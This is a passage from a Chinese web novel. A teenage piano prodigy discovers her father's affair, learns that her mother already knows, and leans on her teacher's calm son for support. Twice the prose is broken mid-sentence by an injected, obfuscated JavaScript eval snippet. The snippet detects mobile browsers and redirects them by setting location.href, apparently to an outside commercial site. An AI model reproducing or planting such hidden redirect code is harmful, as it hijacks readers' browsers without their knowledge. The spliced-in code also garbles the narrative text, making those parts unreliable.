“正在吃。”梁初灵剔完牙,心里无语,寻思这不是开着视频呢吗,好歹看一眼呢,看一眼不就知道我在没在吃饭了? 妈女士全程驾着手机忙忙碌碌在地上无数个包装盒里翻找。 “吃的什么呀?别老吃那些垃圾食品,让阿姨给你做点有营养的。” “阿姨做了大虾。” “虾好啊!补充蛋白质!你多吃点!妈妈这边信号不太好……” 妈女士兴致勃勃一边翻找一边随机试几件衣服一边分享着购物经和旅途见闻,偶尔穿插一两句模板问询。 梁初灵嗯嗯啊啊应着,心里那点因为合奏带来的情绪,被烦躁取代。 挂了电话,饭也吃完了。 张姨收拾了碗筷,客厅又只剩下她一个人。 梁初灵蹬蹬蹬跑上楼,钻进琴房。 这间琴房比李炽那个专业琴房小一点,但隔音效果同样好,是她爹用钱堆出来的。 她弹李斯特一首技巧艰深、情感浓烈到几乎是癫的曲子。 手指跑动,力度大,像是在搏斗。 但弹着弹着,脑子里却冒出李寻那双平静的眼睛,还有他说话时慢悠悠的语调。 “我妈随便教教,我也弹得还行。” “我也是我爸我妈生的。” 一份置身事外的温和,有点刺眼。 白键看起来像他的手指,黑键看起来像他的眼睛。交织在一起,却一点都不像他,反而更像她。 梁初灵停下手指。 烦死了! 与此同时,城市的另一角。 李寻和李炽坐在餐桌旁吃外卖。 李炽最近不知道在哪儿不学好,有点身材焦虑,李寻倒了碗热水放他妈妈手边让她过遍水涮着吃。 “梁初灵天赋很好。”李炽说。 李寻嗯了一声,他又不是聋子。 “手指条件和乐感,都是顶尖的。就是有点浮躁。情感投入太依赖情绪,不稳定。高兴的时候能弹出花来,心里有事,就像刚才那样,只剩下炫技和噪音。” 李寻把木耳炒肉往自己这边挪了挪,李炽不爱吃木耳。又把锅包肉推过去,再看着自己妈,装模作样的把锅包肉迅速的过了遍水再塞嘴里,李寻有点牙疼。 拿舌头抵了抵牙再回复:“她才十六岁。而且家里可能最近有事。” 说完他自己都呛了一下。 他并不知道梁初灵家里有什么事,只是凭感觉。 李炽看了儿子一眼,有些意外他会接话,但没追问儿子的感觉。 她尊重李寻的所有选择,包括弹琴的还行,包括他交什么朋友,包括他未来想做什么,当然也就包括他的感觉。 只是说:“情绪是音乐的一部分,但不能被情绪奴役。要能控制情绪,而不是被情绪控制。再者说了,年龄不是借口。你不也才十六岁吗?” “她跟我不一样。” “是不一样。”李炽没否认,知道儿子在指什么,但也不允许儿子看低他自己,“但你引以为傲的本就不是弹琴的天赋,何况你弹琴也并不差。” 李寻没再说话。 他心里有点不以为然—— 不是对于自己。 他又不是傻子,也学音乐了这么些年。对自己十分了解。 李寻的不以为然是对于梁初灵。 他想说:我们又怎么会真的知道她是什么样呢? 但他没说出来。 李寻知道妈妈看人很准,尤其是在音乐和与音乐相关的人上。 他只是莫名其妙觉得梁初灵不是看起来这样。 那个会因为怀疑自己不是亲生的就去搞亲子鉴定,会因为他一句无心的话笑得前仰后合,会帮还并不熟的他解围的人,只是看起来张牙舞爪。 接下来的几周,李寻来琴房一起上课的频率变得异常高。 几乎每次梁初灵过来,都能看到他在。 还是那副样子,话不多,脾气好得不像话。 梁初灵有时候弹烦了,会故意制造出一些恶音,李寻也只是看她一眼,再给她点些水果饮料什么的,跟哄着她弹一样。 梁初灵确实心里很烦。根源在她爸身上。 那天她自己的平板摔了开不了机,她用完她爸书房里的电脑查资料,关掉浏览器时,不小心点开了历史记录。 里面有一个陌生的网址,她点了进去。 是一个私密的图片分享链接,需要密码。 她试了试她爹的生日,她妈的生日,都不对。最后,她输入了自己的生日。 链接打开了。 里面没有多少张照片,是一个年轻女人的自拍照,在不同的场合,穿着漂亮的衣服,笑容明媚。 最后一张,是那个女人依偎在一个男人的怀里,只拍到男人的肩膀和一部分侧脸。 男人手上什么也没戴,这还挺少见的,也没有手串也没有表,光禄禄的。 梁初灵以前一直因为这个而觉得她爹不复杂不浮夸,挺清高。 哈! 现在梁初灵猛地关掉了网页,再一把清空了历史记录。 出轨。 她爸出轨了。 她不知道自己该怎么办。 告诉妈女士吗,可妈女士会信吗,她会大哭大闹吗,还是离婚?离婚了她怎么办跟着谁? 梁初灵给妈女士打电话,想听听她的声音,自己再暗示点什么。 但电话响了很久都没人接。 后来妈女士回了个信息,说在看秀,信号不好,有事回去说。 梁初灵看着那条信息,有点烦躁,但又有点庆幸,因为她完全没想好如果妈女士接了电话,那么她该如何开口。 她只是一腔冲动。 除了冲动什么也没有。正如她一把清空了浏览记录,而忘记了需要这份浏览记录的是她自己而不是她爸。 点开空荡荡的页面,梁初灵又有种被卡住牙的感觉。 小学春游时她和班上同学玩过一个游戏,叫做击鼓传花。 现在梁初灵感觉自己像那个抱着花的人,却找不到任何一个可以移交的对象。 导致她看什么都不顺眼。 在这种状态下练琴,效果可想而知。 杂念丛生,手指僵硬。 这天上课她状态奇差,平日信手拈来的指法虽然凭借肌肉记忆依旧精准,但灵动的光彩消失,只剩下蛮力。连她自己都听不下去。 李炽没说什么,只是让她再弹一遍。 梁初灵憋着一口气,手指用力地砸。即使这样带着情绪砸下去,每个音符的响度依旧控制在合理的范围内。 她是难得的手大,梆梆地砸也毫无压力。 李炽手小,灵巧,看着梁初灵这么梆梆,有点想皱眉又有点觉得带劲儿,所以没制止,跟看热闹一样睁着眼睛听又看。 休息间隙,梁初灵走到客厅喝水,李寻依旧坐在老位置。 她看着他平静的脸,心里突然就窜了上来火气。 李寻真的很平静,会提前帮她准备好需要的乐谱,在她大汗淋漓时递上纸巾,在她碰翻笔袋时帮她捡起来整理好。 凭什么他能这么平静,凭什么好像什么事情都影响不到他?衬出梁初灵的惊涛骇浪。 她放下水杯,走到李寻面前:“李寻。” 李寻抬起头,眼神询问。 “你觉得我刚才弹得怎么样?” 她等着他被她这突如其来的问题问得愣住。 但李寻没有。 他认真地想了想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730779|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后看向她:“你想听真话?” “废话。” “技术处理上,第三小节的颤音,指尖力量散了。情感上,你在跟琴键发脾气,不是在表达音乐。” 他说的完全正确。她刚才就是在发脾气。 梁初灵一时不知道该怎么接话。 李寻看着她的表情,语气缓和:“你正常弹的时候,不是这样的。” 梁初灵心里的火气漏了。取而代之的是一种奇怪的触动。 这触动让她有一点点不安,如同谁又给她递了一粒糖。可是她却不知道该不该接。 于是她没接也没拒绝。 而是再次主动,故意把一份充满不和谐现代音阶的乐谱拍在李寻面前:“你看看这段,要是你弹,你会怎么处理?” 她想看他至少皱一下眉头。 李寻接过谱子,梁初灵紧盯他的脸,想捕捉到那一丝为难。 但他还是没有,再次还是没有。 “这段的技术难点在于左手跳跃的准确性和右手的节奏控制。你的手指机能足够,可能需要注意一下触键的深度,太浅了声音会飘。至于情感,这种现代作品,很多时候表达的不是传统的美,而是一种情绪张力,或者音响效果本身。或许可以试试,不要想着去美化它,而是去呈现这种不和谐的冲突感本身?” 梁初灵不知道为什么,突然眼睛酸酸的。有一点难过。 她不知道自己在难过什么,只好说了句好,然后先行离开,像逃跑。 那次之后,梁初灵再也不好意思故意刁难他。 心里的烦躁无处排遣,她开始在下课后,趁着收拾东西的间隙,有一搭没一搭地跟李寻聊天。 这是什么呢……她在汲取李寻的平静吗?真像个窃贼。梁初灵因此又有点看不起自己。 她不允许自己看不起自己!于是练琴更加卖力。 世界最怕天才动脑筋,李炽夸她进步神速。 梁初灵又洋洋得意起来。 这还不够,她每次还要装得超级平静的去跟李寻聊天。 也知道了他和李炽的住处就在琴房这栋楼的隔壁楼。 上课下课回家倒是方便,梁初灵心里想,那怎么还经常不来上课呢?娇气! 她发现李寻看的书很杂,不只是音乐理论,还有科幻小说历史传记,甚至一些她听都没听过的哲学书。 拜托!他也才十六岁而已啊! 气得梁初灵立刻上网网购了一堆书,看不看是其次,她先要把书房塞满。 塞满后也不看,真不是故意不看,梁初灵真没时间看。 练琴,两个字是一个大门类,音高听辨、基础训练、背谱、扩充曲目库、研究语感。更别说还得学文化课和语言…… 只能说幸好梁初灵确实是个钢琴天才,省了很多别的功夫。 有时候弹琴弹累了,会凑过去问李寻:“你看什么呢?” 李寻会把书合上,让她看书名,或者简单地跟她讲讲书里的内容。 他的表述能力很好,能把复杂的东西讲得浅显易懂,偶尔还会冒出几句带着冷幽默的点评,让梁初灵忍不住笑。 她发现李寻那个看起来平静的外表底下,有一个挺丰富挺有意思的内心世界。 跟他聊天,比跟那些只会夸她或者讨论名牌的同学有意思多了。 有一次下课,时间还早,夕阳很暖。 两人一起坐电梯下楼。 走到大楼门口,李寻走向旁边一家饮品店,买了杯柠檬水。付钱的时候,看了一眼站在旁边的梁初灵。 “喝什么?”他问。 梁初灵摇了摇头,表示不喝。 但是李寻还是拿着两杯喝的出来,一杯他自己的柠檬水,一杯递给梁初灵的一杯抹茶。 “你怎么知道我想喝这个?”梁初灵有点惊讶。她好像从来没跟他说过。 李寻慢悠悠地说:“看我妈每次给你点的热巧克力,你最后都没喝完。上次你盯着我妈的抹茶看了好几眼。” 梁初灵:“……” 拿着喝的,两人没有立刻各奔东西,而是沿着人行道慢慢往前走。 已经是深秋,风有点凉,不算特别舒服。 路边的树叶偶尔飘下一两片。 周围是下班放学的人,车流穿梭,行人匆匆, 梁初灵咬着吸管,喝着甜腻的热巧克力,不太爱喝。看着身边的李寻,心里突然生出一种很久没有过的感觉。 轻松。 很简单地,喝着饮料,散着步。 这种轻松,让她关于父亲出轨的那个秘密,变得有些难以负荷。 让我再汲取一点你的平静吧……是的,我是个坏人。梁初灵叹口气。 她停下脚步。 李寻也跟着停下来,看向她。 梁初灵抬起头:“李寻,我发现我爸出轨了。” 她说完就紧紧盯着他的脸,想从他脸上看到一些平静之外的情绪。 但是没有。 李寻只是安静地等着她继续说。 梁初灵被平静感染,心里的慌乱似乎也平息了一点。 她把自己怎么发现网址,怎么猜到密码,看到了什么,都断续说出来。 说出来的这一刻,她解出了自己心里的痛苦来源—— 正是因为她爸爸拿她的生日,给出轨对象的相册当作密码。 这算什么呢? “虽然我不是个好丈夫,但我是个好爸爸?” 这算什么呢…… “我不知道该不该告诉我妈。告诉她吧怕她受不了。不告诉她吧,又觉得她像个傻子一样被蒙在鼓里,太可怜了。你觉得呢?”梁初灵故作轻松。 李寻看着远处车流的尾灯,然后转头看梁初灵不安的脸:“告诉吧。” 梁初灵一愣:“为什么?” “我觉得你母亲可能早就知道了。” 梁初灵瞬间睁大眼睛。 李寻继续:“母亲都是很敏感的。” 4. 《新世界交响曲》 “母亲都是很敏感的。” 李寻其实还有没说出来的话:你也是很敏感的。如果不说,你会一直背负着这样的压力,左右为难。这本不应该是你要去承受的一切。 他没说,因为他知道梁初灵会反驳,反驳自己很厉害很强大很能扛事。 李寻不这么认为,也就不想听这些反驳。 梁初灵回了家,自己独自品味着这句话,脑子里乱糟糟。 她知道妈女士有点作,知道妈女士爱她自己胜过爱一切,但她没想过,妈女士那张总是叭叭叭说个不停的嘴,可能也藏着洞悉一切后的沉默。 这种可能性让她坐立难安。 她需要一个答案,哪怕这个答案会让她更坐立难安。 找了个妈女士大概率心情比较好的时间点,梁初灵拨通了越洋视频。 妈女士果然敷着面膜,背景是酒店房间的落地窗。 “宝贝儿!想妈妈啦?”妈女士的声音语调上扬。 梁初灵懒得铺垫,她像背诵课文一样,把关于爸爸出轨发现说了出来。说完,她心脏如擂鼓,准备迎接一场天崩地裂。 妈女士不知道从床上哪里捞了条丝巾出来,手机架在手机架上,她两只手比划着,手法娴熟地变换着各种系法。 听完后,依旧动作没停,丝巾在手里绕了一圈,打了个漂亮的结。 这才重新看向视频,“好看吗?” 妈女士没头没脑回了一句,晃了晃手里的丝巾。 梁初灵懵了:“啊?” “我说这条丝巾,”妈女士把丝巾举到梁初灵面前,“红色的,下次你比赛就给你戴这条,昨天特意选的。” “妈!我在跟你说我爸出轨!”梁初灵提高音量,这都什么时候了! 妈女士放下丝巾,隔着屏幕似乎想摸摸她的头,但隔着屏幕,所以中途又放下。她叹了口气,那口气很长,带着点这个年纪女性特有的冷飕飕。 “宝贝,妈妈早知道了。” 梁初灵像被钉住,“你知道?你怎么知道的?你知道了怎么不跟我说?你什么时候知道的?” 心里想,李寻应该去摆摊算命。 “一是你爸西装偶尔沾上的香水味不是我用的任何一种,另一个一是他最近一年应酬多到快要把公司当家了。这不,答案比一加一等于二还简单吧。” “那你就这么忍着?”梁初灵无法理解,她想象中的母亲,应该是拳打爸爸,立刻离婚,手撕小三,捍卫家庭才对。 妈女士抬起手,小心揭下面膜,露出下面那张保养得宜的脸。 “宝贝,生活不是八点档狗血剧。拆穿了然后呢?离婚分割财产?让你变成单亲家庭的孩子?我们现在不能拆穿。为了你,也不只是为了你,为了很多事。你爸公司现在正是关键时期,股权啊,投资啊,乱七八糟一堆事儿。你马上就要申请学校,也是关键时期。还有妈妈明年计划好的旅行,订的都是不能退的奢华酒店。牵一发动全身啊宝贝!这时候闹翻了对你没好处,对妈妈也没什么好处。” 她用一种近乎幽默的语气说着最现实的话。 “再说了,拆穿了又能怎么样呢?一哭二闹三上吊那都是过时的戏码了,宝贝。现在流行的是体面。暂时就当不知道啊,稳住,我们能赢。” 她甚至还有心思开玩笑,“你看妈妈这些新款包包,漂亮吧?它们可都需要一个稳定的经济来源。” 梁初灵听着她妈用跳脱的语调,剖析着一个家庭里的算计和隐忍,只觉得牙齿都在打颤。 这种成年人的世界,让她感到被排除在外。 我们不是一家人吗? 虽然我们不常见面,也不在一起生活,可是我们是一家人啊。 是彼此最珍贵的家人。 我以为你们需要我就像我需要你们,我以为你们需要彼此就像我需要你们需要彼此。 怎么不是呢,怎么就我不是。 世界是一片黏糊糊的灰。 妈女士看着她瞬间沉下去的脸,眼神软,语气柔:“好了,宝贝,别想那么多。这些事儿有妈妈呢,你只管好好弹你的琴,等你以后成了大名鼎鼎的钢琴家,赚大钱了,妈妈就指望你养活了,到时候一脚把你爸踹了!” 这安慰像蛛网。 梁初灵有点无措。仓促挂断了视频。 房间里重新安静,只剩下失落迷茫。 环顾四周,是无处不在的体面。 整个世界仿佛都变得虚假和不可靠。 父亲是骗子,母亲是共犯。 她像个突然被扔进迷雾里的孩子,看不清方向,也找不到依靠。 然后,她想起了李寻。 想起他平静的眼神,想起他说的话。 他早就猜到了。他是不是也像看一个傻瓜一样看着她纠结慌乱? 但这个念头只是一闪而过。 更多的是一种迫切的需要—— 她需要能理解这种混乱的有李寻。 总是安安静静,在所有纷扰之外的李寻。 —— 手指砸在琴键上,《冬风练习曲》被她弹得像一场真正的西伯利亚暴风雪,冰冷狂暴。 李炽评价了一句:“技巧还在,音乐死了。” 李寻解了一句:“还挺充满毁灭感的,我听着感觉还能更狂暴一点。” 梁初灵开始在下课后缠着李寻: “李寻,这段双钢琴的配合我还有点模糊,我们再讨论一下谱子?” “李寻,这段谱子李老师讲的这个地方,你再帮我听听?” “李寻,我这遍弹得是不是好多了?” “李寻,我不想回家。你陪我走走吧。” 李寻从不追问,只是点点头跟在她身后。 去的都是一些没什么目的性的地方。 活动范围开始以李炽的小楼为圆心,向外不规则扩散。 在附近的一家书店。 李寻拐进了漫画区,抽出一套。 封面是个穿校服的女生,背景是巨大的机器人,印着《新世纪福音战士》,问她:“看过吗?” 梁初灵摇头。她的童年被黑白琴键填满。 李寻就找了个角落,把漫画翻到第一页,梁初灵就看到碇真嗣站在巨大的机器人面前,眼神迷茫。 “讲什么的?他是主角吗?他最后怎么样了?”她问,她喜欢提前知道结果。 “他是主角,后来长大了,在一个没有EVA的世界。讲什么的……”李寻想了一下,“讲的是不要逃。” 从书店出来,刮着北风,梁初灵缩了缩脖子。 街边有个烤红薯摊,铁皮房子里住着烤红薯。 她还没说话,李寻已经走过去买了一个,掰成两半,递给她那份用纸巾包好。 红薯很烫很甜,两人就站在街边,呵着白气吃烤红薯。 吃完梁初灵拉着李寻去逛商场。 故意把他拉到女装区,她带着点恶作剧的心态,指着一条连衣裙,重现她与母亲的电话场景:“李寻,你说,那条裙子是蓝色好看还是红色好看?” 李寻眼神在那两条裙子上流转,然后转回头看着梁初灵:“红色。” “为什么?” “像你弹革命时的样子。有力量,很耀眼。” 梁初灵有点不自然地别开脸,“那就红色吧。” 李寻无声吸收她所有莫名的情绪和任性的举动。 不评价,不干涉。 有的人只是存在就可以成为浮木。 浮木也有被卷入风浪中心的一天。 周末的下午,梁初灵又以不想回家为由,拉着李寻在市中心闲逛。 刚从一家唱片店出来,梁初灵手里拿着李寻推荐的一张交响乐专辑,正低头拆包装。 一抬头,她整个人僵在原地。 街对面,一家店的临窗位置,她父亲正和一个年轻女性坐在一起。 女性穿着得体,笑容温婉,是照片里的那个人。 两人坐得很近,梁父脸上带着梁初灵很久没见过的愉悦笑容,正把一块蛋糕递到那个女性嘴边。 梁初灵连唱片袋都快握不住。 李寻察觉到她的异样,顺着她的目光看过去,也看到了那一幕。 就在李寻还没想好该说什么或者该怎么做的时候,梁初灵突然动了。 她伸出手紧紧挽住李寻的胳膊,拉着李寻跑到那家窗户外,站定,身体故意紧紧靠向李寻,再朝着里面喊道:“爸!好巧啊!” 说完还伸出左手轻轻拍了拍窗玻璃。 梁父脸上并不慌乱,身边的年轻女性却有些局促地低下了头。 梁初灵拉着僵硬的李寻,她能感觉到李寻肌肉紧绷,但他没有挣脱,反而调整了一下姿势让她靠得更稳。 “这位是?”梁初灵看向那个脸色已经开始不自然的年轻女性。 梁父的脸色这才变了几变,从错愕到尴尬,最后强行恢复成威严:“是爸爸一个合作方的同事,谈点事情。这位是?” 问的是李寻,用的是梁初灵的口吻。 李寻没有看那个年轻女性,只迎向梁父。他知道这个问题不由他来回答。 “我和同学出来买书。这是李寻,我钢琴老师的儿子。”梁初灵答。 李寻于是拉了个笑,点了点头:“叔叔好。” “我们书还没买完呢,先走了爸!” 梁父咳了一声:“早点回家,别在外面瞎逛。” “知道啦!”梁初灵抢着回答,声音又脆又假,“那我们走啦!” 梁初灵拖着李寻,逃离现场。 直到彻底看不见店,她才松开李寻的胳膊。 李寻站在她旁边,什么也没问。 他背了个斜挎包,从包里抽出张湿巾,递过去,梁初灵没接。 李寻看着梁初灵左手沾满了灰,刚才拍玻璃拍的。 只好隔着湿巾拉起了梁初灵的左手,给她仔细擦了一遍。 全程都隔着一张湿巾。 梁初灵突然觉得眼眶湿润。 之前那些对父亲的失望,对妈女士妥协的不解,此刻都变成对自己临阵脱逃的厌恶。 想起跟妈女士说的时候,义愤填膺,觉得她不敢直面真相,是懦弱是算计。 觉得父亲是骗子,虚伪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730780|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可是,结果,竟然,自己迎面撞上了,明明可以冲进去,指着父亲的鼻子骂他是个混蛋! 可是,结果,竟然,自己像个傻子一样,拉着李寻演戏,说好巧,然后落荒而逃。 可是,结果,竟然,自己甚至不敢多看那个女性一眼,只敢在背后愤怒,到了台前也只会逃跑。 梁初灵的眼泪终于忍不住,她觉得自己糟糕,不仅生活一团乱麻,自己还变成了自己看不起的样子。 怎么会是她自己把自己排除在外的。 她想起了一点别的事,李寻跟她讲那部她已经忘记了叫什么的漫画,讲的是“不要逃”。 不要逃。可是她在逃。是否是她太软弱。 李寻像是完全明白她现在在想什么,他说:“梁初灵,你逃跑,不是因为软弱。” 梁初灵抽泣着,泪眼朦胧看他。 李寻眼神温和,他比梁初灵高,此刻稍微弯腰,和梁初灵眼对眼,语气笃定:“一个家庭里面,当父母的帷幕自己不愿意揭开或者选择用另一种方式维持的时候,孩子冲上去撕扯,除了让自己遍体鳞伤,让场面更加难堪之外,改变不了任何东西。” 面对面,眼对眼,于是他那双浅色瞳孔里面映出她狼狈的脸。 梁初灵才发现李寻的瞳孔真的很浅,比琥珀色还要浅。 “那不是你的战场。你选择离开是理智。在一个你已经预感到会输而且输了也毫无意义的对峙里,保存自己是唯一正确的事。孩子本就是无能为力的。这不是你的错。” 孩子本就是无能为力的。 是啊,她能做什么呢? 冲上去大吵大闹让她爸当场下不来台,让她妈维持的体面粉碎,让这个家连表面上的平静都维持不住。 总不可能是指望她爸会因为她的撞破而幡然醒悟痛哭流涕地回归家庭吧。 太荒谬了。 她改变不了父亲,也替代不了母亲去做决定。 她被困在这个由成年人编织的网里,所有的愤怒委屈和反抗,都最终反弹回来伤到自己。 在这个由她父母主导的家庭剧本里,她这个女儿的角色,本就设定为无能为力。 眼泪流得更凶,李寻这次没有再沉默,他抽出纸巾—— 梁初灵没等他递,直接拿过。 “那我该怎么办?” “好好学习,好好弹琴,好好想你自己。你是一个天才,还记得吗?你是要去开辟新世界的。” 梁初灵点点头。 李寻问:“现在想去哪儿?还是回家?” 梁初灵擤了下鼻子,摇了摇头。 “不想回家。陪我再走走吧。”她说。 “好。”李寻点点头。 两人再次并肩,沉默地走入初冬傍晚里。 梁初灵还有点觉得对不住李寻,是她把李寻拉入了自己混乱的战场,她们之间那种私下的慰藉,被强行推到了台前,但她不打算道歉。 李寻也不需要她的道歉,心里也清楚,有些界限在他默许她挽住他胳膊的那一刻,就已经模糊了。 其实这时他就意识到了,梁初灵正在汲取他的“平静”,把它当作对抗整个世界混乱的盾牌。 李寻有一点内心挣扎,这是否越界? 他习惯了一个人,习惯了旁观。 可是,看着她此刻的脆弱,他发现,自己无法抽身离开。 他在心里对自己说:只是陪着她,直到她度过这段时间。等她家里的事平息下来,等她重新变回那个骄傲的天才就好了。 但这个‘只是’开始变得不那么纯粹。 李寻开始更关注她的情绪,在她弹琴心浮气躁时,对着谱子发呆时,会找个话题分散她的注意力,试图为她做一点事情,并且为自己每个举动都找好理由。 做好了被问起时可以对答如流、用以解释自己无害动机的一切准备—— 尽管根本无人问…… 李炽不在乎,梁初灵不敏感。 李寻自己跟自己打擂台打辩论累得够呛,回头一看,也没裁判也没观众。 晚上月色很好,两人又一次磨蹭到很晚才离开琴房的楼。 站在楼下,梁初灵看着天空,突然不想回家。 她拿出手机插上耳机,递了一只给李寻。 “听吗?”她问。 李寻接过耳机塞进耳朵。 梁初灵选了一首德沃夏克的《新世界交响曲》,第二乐章,悠远又带着愁绪的旋律缓缓流淌。 她们并肩站在冷的月光下,共享着同一首暖的交响乐。 音乐隔绝了外界。 梁初灵能听到自己过速的心跳,不知道是因为刚才走得太急还是因为别的什么。 她偷偷侧看向李寻。他仰着头看星空。 耳机里的管乐奏出宽广大路,弦乐则温柔去往暗道。 梁初灵忽然觉得,这一刻世界很安静也很吵闹。 安静得只剩下音乐和心跳,吵闹得她能感觉到身边这个人平稳的呼吸。 她不确定他是否能听到她的心跳。 但她的心跳,在交响乐的掩护下,正悄悄地试图与新世界同步。 5. 《安眠曲》 那晚星空下的交响乐之后,有些事情好像开始变得不一样。 梁初灵找李寻的频率,从经常升级到了几乎每天。 理由五花八门,核心思想高度统一:我不想一个人待着。 李寻照单全收。 他好像有个专门应对梁初灵的开关,只要她出现,模式就会自动启动。 陪她溜达,陪她喝饮料,陪她在漫画区一蹲就是一下午,听她吐槽学校哪个老师又布置了变态作业,或者妈女士又买了什么匪夷所思的家具。 关系在这种密集的相处中迅速拉近。 梁初灵甚至开始觉得,去找李寻就像回另一个家。 有一天午夜梦回,她惊得坐了起来—— 不会她爹也是在享受这种快乐吧! 所以不回自己的家,在外面给自己找了另一个家! 惊得她后半夜再也没睡着。 周六下午,她们刚在李炽那里上完课,结果外面下起瓢泼大雨,还夹着冰雹,噼啪作响,跟世界末日一样。 梁初灵想起自己很小的时候所知道的世界末日,是举世瞩目的2012年12月21日,她想着就拿手机看了一下日历,居然今天也是12月21日。 她心潮澎湃! 梁初灵喝着李寻给点的抹茶、吃着李寻给买的小蛋糕、头发上别着李寻发现她的刘海有点挡眼睛了所以给买的发卡,心里不觉讶异:世界末日欸,她和李炽和李寻在一起经历世界末日,好像还不错。 十六岁的梁初灵,成长成熟得很正常,但依旧是少年人。 少年人面对世界末日的幻想,不曾害怕,只觉新奇。 比起在乎如何生存下去,更在乎当世界末日来临时、当危险扑面而来时,自己身边会是谁。 是谁,很重要,梁初灵有隐隐的预感,自己在谁身边,似乎就会被塑造成与之相关联的人。 她想被谁塑造成怎样的人呢? 主角依旧是她,但主角当然可以被重要的人所改变,这无比吸引人,这魅力无限。 “这天气。”梁初灵看着窗外皱眉。 司机今天请假,她本来打算自己打车回去。 “雨小了再走吧。”李炽看了眼窗外,转头对李寻说,“要先带初灵去咱们家待会儿吗?” 她有事情要回家用电脑处理,她自己手机没挂梯子。而且李寻也有试卷没写完。 但如果把梁初灵一个人留在琴房也实在不放心,还是小孩儿呢。 尽管如此,李炽还是会问问儿子的意见。 家,对她而言,对李寻而言,还是不一样的。 她也好,李寻也好,都没邀请过朋友同学回家做客。 较为疏离的关系,各自独立的母子,性格冷淡的两人,却如此重视“家”的存在。 如果李寻表现出有一点为难,李炽就绝不会第二次提出这个意见。 但是李寻说了一声好,还帮忙把梁初灵的水杯塞到了她书包的侧袋里,再替她拿起了那个笨重的书包。 三个人直接电梯下到负一楼,从地下停车场里去到属于家的那栋楼。 到家后,李寻去厨房倒了两杯温水,递给李炽和梁初灵。 “谢谢。”梁初灵接过杯子,有点好奇地打量起这个家。 面积不算特别大,布局开阔,视野极佳。 装修依旧极简,大量的白和灰,不近人情。 靠墙放置了一排顶天立地的书架,塞满了书和乐谱,还有角落里那架立式钢琴。 梁初灵自己家,拜妈女士极繁主义、以及喜欢买奢侈品、导致配货配了很多奇奇怪怪的家具所赐,堆得挺花团锦簇。 她对自己家兴致缺缺,也没怎么见过别人家,心里只觉李寻家很有人情味。 因为担忧她没法回家,也不忍她一个人呆在琴房,所以带她一起、邀她做客。 像描红一样,印着原迹描摹一遍,出来的却是自己的性状和理解。 于是这不近人情的装修风格,此时看来却难为情。 李寻看她捧着杯子发呆,以为她无聊,便说:“要不要看会儿书?或者看电影?” “都行。”梁初灵其实无所谓做什么。 最后她们窝在客厅那张沙发里,用投影仪看一部动画片。 李炽进了书房关上门,大概是在处理工作。 电影看到一半,梁初灵还没入戏,突兀想起:“为什么琴房里有个那么大的主席像啊?” “我妈崇拜他……”李寻答完自己都觉得像开玩笑,但偏偏是真相。 梁初灵没那些心眼,李寻说的她就信,点点头,觉得李炽真的很酷,更喜欢了。 李寻看她恹恹,想去给她拿点吃的。 沙发不大,两个人坐得很近,李寻起来时手背不小心碰到梁初灵的手,梁初灵没什么反应,结果李寻一把抓过她的手—— 温度很高。 梁初灵惊得抬头。 抬头正好,李寻拿手背触她额头。 梁初灵惊得又低头。 低头正好,梁初灵扎的马尾此时偏向一侧,李寻从脖颈处看,她只穿了一件很薄的卫衣,都没加绒。 李寻有点怪自己观察还是不够仔细:“你发烧了。”很笃定的语气。 “啊?”梁初灵寻思自己还挺有精神头的啊,伸手摸了摸自己额头。 确实有点烫—— 立竿见影,立刻觉得昏昏沉沉。 “我头好晕啊李寻。”太立竿见影,梁初灵感觉喉咙都开始痛,往后靠在沙发上,觉得呼吸都堵。 “你等我一下。”李寻说完就去把阳台的门打开了一些,阳台没关窗户,此刻空气正好流动进来。再去倒了杯温水过来让梁初灵慢慢喝。 观察了一会儿,梁初灵一边喝一边偷摸看电视,李寻想笑又觉得有些替她难受,想叹气又觉得不合适。忍住笑,忍住叹气,只好起来走开——也忍住观察。 梁初灵看他走了也没觉得什么。 之前有一次应该是半夜生病,是早上看她已经迟到了还没起、所以上楼来喊她起床的保姆发现的。 梁初灵半梦半醒,以为是妈妈回来,抱着保姆不撒手喊妈。 保姆阿姨心疼的用嘴唇触她的额头又触她的耳垂。 想着想着有点出神,梁初灵觉得自己应该是一个挺幸运的人。 她不喜欢要求太多。 自己有能支撑她求学的家庭,有能支撑她野心的天赋,有每一次生病都能康复的好身体,有任何人走开她都能接受的好状态,有那样一颗心,也有关心她那样一颗心的人。 她实在太幸运。 幸运的她有点晕乎,晕乎的她依旧觉得幸运。 “别睡,去床上睡。我刚把四件套都换了。”李寻突然出声。 李炽家是三室一厅,但是其中一室和书房打通当作了很大的办公间,卧室只有两间。 二人都不带外人回家,留一间客房装模作样没意思。 李寻只能把梁初灵暂时安顿在自己的卧室。 还是开了半扇窗,开大了怕吹严重了,开小了又怕形成刀锋风。 梁初灵吃了药喝了水躺下,迟来的晕乎乎,脑子晃来晃去,晃出来一句真心话:“为什么你说不要逃,却又要我逃?” 没前没后,没头没尾,但李寻一下就懂,他俯下身轻轻说:“因为他有EVA有金手指有超能力,你却只能依靠你自己的力量,不要拿成功的样本去套在自己身上,那很不公平。你已经很棒了。” 梁初灵没法回复,药物也让她困倦。只感觉谁在她耳边讲梦话:“睡会儿吧,梁初灵。” 好,她在心里回。 今天是世纪末日欸,她在心里想。 梁初灵这一觉睡得并不安稳。 